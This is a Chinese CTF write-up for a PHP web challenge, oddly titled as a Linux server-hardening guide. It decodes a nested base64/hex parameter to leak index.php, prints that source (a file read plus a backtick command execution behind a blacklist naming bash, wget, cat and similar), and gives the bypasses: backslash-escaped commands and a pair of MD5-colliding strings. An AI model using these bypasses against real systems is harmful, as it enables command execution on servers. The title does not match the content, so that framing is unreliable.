安全強化Linux 伺服器的七個步驟
阿新 • • 發佈：2020-09-21
首先這個連結長得挺奇怪的，img引數後面跟的有點像base64編碼。
解碼後得到MzUzNTM1MmU3MDZlNjc=
這個還是base64，再次解碼得到3535352e706e67
這玩意看起來有點像十六進位制，轉一下字串，得到555.png
檢視一下原始碼，發現有一堆base64，解成圖片就是頁面上的表情包。
猜測img引數的作用就是將物件包含並進行轉16進位制再base64編碼後輸出，試一試包含index.php
index.php 696e6465782e706870 Njk2ZTY0NjU3ODJlNzA2ODcwCg== TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
將TmprMlpUWTBOalUzT0RKbE56QTJPRGN3放入img引數進行上傳得到：
將裡面的base64解碼一下，得到：
<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi～ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
然後開始程式碼審計。
這裡最重要的一段程式碼是
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) { //跟這裡匹配到了就會結束程式碼，所以需要繞過 echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { //a和b的內容不一樣但是需要md5值一樣 echo `$cmd`; //將cmd當成系統命令執行並輸出 } else { echo ("md5 is funny ~"); } }
繞過preg_match的話可以使用\繞過，比如在linux下執行l\s，效果等同於ls
至於md5碰撞的話，本來可以用陣列繞過，但是這裡使用了（String）強制轉換，陣列被強制轉換的結果都為string(5) "Array"
所以要用下面的一組資料繞過
$a = "%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2";
&$b = "%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2";